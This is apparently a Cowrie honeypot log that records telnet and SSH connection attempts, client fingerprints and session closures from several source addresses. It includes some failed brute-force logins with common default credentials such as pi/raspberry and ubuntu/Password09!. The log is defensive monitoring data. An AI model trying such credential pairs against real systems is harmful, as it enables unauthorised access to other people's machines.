{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56322,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2799bfb478","protocol":"telnet","message":"New connection: 137.184.155.248:56322 (10.17.0.5:23) [session: 0b2799bfb478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:53.968471Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56332,"dst_ip":"10.17.0.5","dst_port":23,"session":"25e30b286415","protocol":"telnet","message":"New connection: 137.184.155.248:56332 (10.17.0.5:23) [session: 25e30b286415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:02:59.732238Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49264,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe43618d9143","protocol":"telnet","message":"New connection: 137.184.155.248:49264 (10.17.0.5:23) [session: fe43618d9143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:05.487789Z"}
{"eventid":"cowrie.session.closed","duration":120.00179433822632,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:05.571744Z","src_ip":"189.219.54.254","session":"4bc685a8233a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49278,"dst_ip":"10.17.0.5","dst_port":23,"session":"4999ad373635","protocol":"telnet","message":"New connection: 137.184.155.248:49278 (10.17.0.5:23) [session: 4999ad373635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:05.671543Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":48934,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fecd4b36b59","protocol":"telnet","message":"New connection: 189.219.54.254:48934 (10.17.0.5:23) [session: 6fecd4b36b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:05.958227Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49284,"dst_ip":"10.17.0.5","dst_port":23,"session":"58d2075cd932","protocol":"telnet","message":"New connection: 137.184.155.248:49284 (10.17.0.5:23) [session: 58d2075cd932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:06.297013Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":56136,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2a920a0a551","protocol":"ssh","message":"New connection: 190.244.39.232:56136 (10.17.0.5:22) [session: c2a920a0a551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:06.884097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:06.889832Z","src_ip":"190.244.39.232","session":"c2a920a0a551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:07.091588Z","src_ip":"190.244.39.232","session":"c2a920a0a551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test-user","password":"12345","message":"login attempt [test-user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:07.921258Z","src_ip":"190.244.39.232","session":"c2a920a0a551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.13270020484924,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:08.406175Z","src_ip":"137.184.155.248","session":"50fe0939410a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.647313594818115,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:08.461918Z","src_ip":"137.184.155.248","session":"8ae205b4aaa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:09.124786Z","src_ip":"190.244.39.232","session":"c2a920a0a551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49296,"dst_ip":"10.17.0.5","dst_port":23,"session":"78873d2c81f7","protocol":"telnet","message":"New connection: 137.184.155.248:49296 (10.17.0.5:23) [session: 78873d2c81f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:12.356736Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49310,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a83b8501642","protocol":"telnet","message":"New connection: 137.184.155.248:49310 (10.17.0.5:23) [session: 5a83b8501642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:12.501322Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38832,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e4ea19d101","protocol":"telnet","message":"New connection: 137.184.155.248:38832 (10.17.0.5:23) [session: a1e4ea19d101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:15.190713Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.2.18.223","src_port":45736,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a28a64c70ef","protocol":"ssh","message":"New connection: 42.2.18.223:45736 (159.203.135.109:22) [session: 9a28a64c70ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:21.618620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:21.840233Z","src_ip":"42.2.18.223","session":"9a28a64c70ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e5a2656914ff0d555d92c2dbb4597ac6","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: e5a2656914ff0d555d92c2dbb4597ac6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:22.055587Z","src_ip":"42.2.18.223","session":"9a28a64c70ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.2.18.223","src_port":45762,"dst_ip":"159.203.135.109","dst_port":22,"session":"69d04eab1437","protocol":"ssh","message":"New connection: 42.2.18.223:45762 (159.203.135.109:22) [session: 69d04eab1437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:22.420989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:22.647405Z","src_ip":"42.2.18.223","session":"69d04eab1437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e5a2656914ff0d555d92c2dbb4597ac6","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: e5a2656914ff0d555d92c2dbb4597ac6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:22.866976Z","src_ip":"42.2.18.223","session":"69d04eab1437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:23.190060Z","src_ip":"42.2.18.223","session":"9a28a64c70ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberryraspberry993311","message":"login attempt [pi/raspberryraspberry993311] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:24.049122Z","src_ip":"42.2.18.223","session":"69d04eab1437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:24.412760Z","src_ip":"42.2.18.223","session":"9a28a64c70ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:25.275896Z","src_ip":"42.2.18.223","session":"69d04eab1437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.97910022735596,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:26.540129Z","src_ip":"137.184.155.248","session":"339dbb222638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.151.72.155","src_port":49478,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a88809385db","protocol":"ssh","message":"New connection: 115.151.72.155:49478 (10.17.0.5:22) [session: 2a88809385db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:35.649249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:35.654745Z","src_ip":"115.151.72.155","session":"2a88809385db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:36.637070Z","src_ip":"115.151.72.155","session":"2a88809385db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password09!","message":"login attempt [ubuntu/Password09!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:38.365942Z","src_ip":"115.151.72.155","session":"2a88809385db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.47354865074158,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:38.441888Z","src_ip":"137.184.155.248","session":"0b2799bfb478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.401968240737915,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:38.797544Z","src_ip":"185.26.126.47","session":"3b32359f6f8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:39.624412Z","src_ip":"115.151.72.155","session":"2a88809385db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.09816932678223,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:45.830074Z","src_ip":"137.184.155.248","session":"25e30b286415","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":37070,"dst_ip":"10.17.0.5","dst_port":22,"session":"083dcdb3a351","protocol":"ssh","message":"New connection: 203.90.110.186:37070 (10.17.0.5:22) [session: 083dcdb3a351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:48.843560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:48.848542Z","src_ip":"203.90.110.186","session":"083dcdb3a351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:49.068420Z","src_ip":"203.90.110.186","session":"083dcdb3a351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.852065086364746,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:49.148945Z","src_ip":"137.184.155.248","session":"58d2075cd932","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e4r","message":"login attempt [test/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:49.976734Z","src_ip":"203.90.110.186","session":"083dcdb3a351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:51.200534Z","src_ip":"203.90.110.186","session":"083dcdb3a351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":51200,"dst_ip":"10.17.0.5","dst_port":22,"session":"8276a118af7a","protocol":"ssh","message":"New connection: 61.155.106.101:51200 (10.17.0.5:22) [session: 8276a118af7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:53.821309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:53.826481Z","src_ip":"61.155.106.101","session":"8276a118af7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:54.104741Z","src_ip":"61.155.106.101","session":"8276a118af7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.13522505760193,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:54.622912Z","src_ip":"137.184.155.248","session":"fe43618d9143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.517022371292114,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:55.188433Z","src_ip":"137.184.155.248","session":"4999ad373635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.72006821632385,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:55.221259Z","src_ip":"137.184.155.248","session":"5a83b8501642","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"8888","message":"login attempt [guest/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:56.215397Z","src_ip":"61.155.106.101","session":"8276a118af7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.527687311172485,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:56.884295Z","src_ip":"137.184.155.248","session":"78873d2c81f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55846,"dst_ip":"10.17.0.5","dst_port":23,"session":"f78236b04619","protocol":"telnet","message":"New connection: 137.184.155.248:55846 (10.17.0.5:23) [session: f78236b04619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:57.210073Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:03:57.485754Z","src_ip":"61.155.106.101","session":"8276a118af7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.797240257263184,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:04.987853Z","src_ip":"137.184.155.248","session":"a1e4ea19d101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":50014,"dst_ip":"10.17.0.5","dst_port":22,"session":"15ad47d41006","protocol":"ssh","message":"New connection: 58.186.20.101:50014 (10.17.0.5:22) [session: 15ad47d41006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:07.683196Z"}
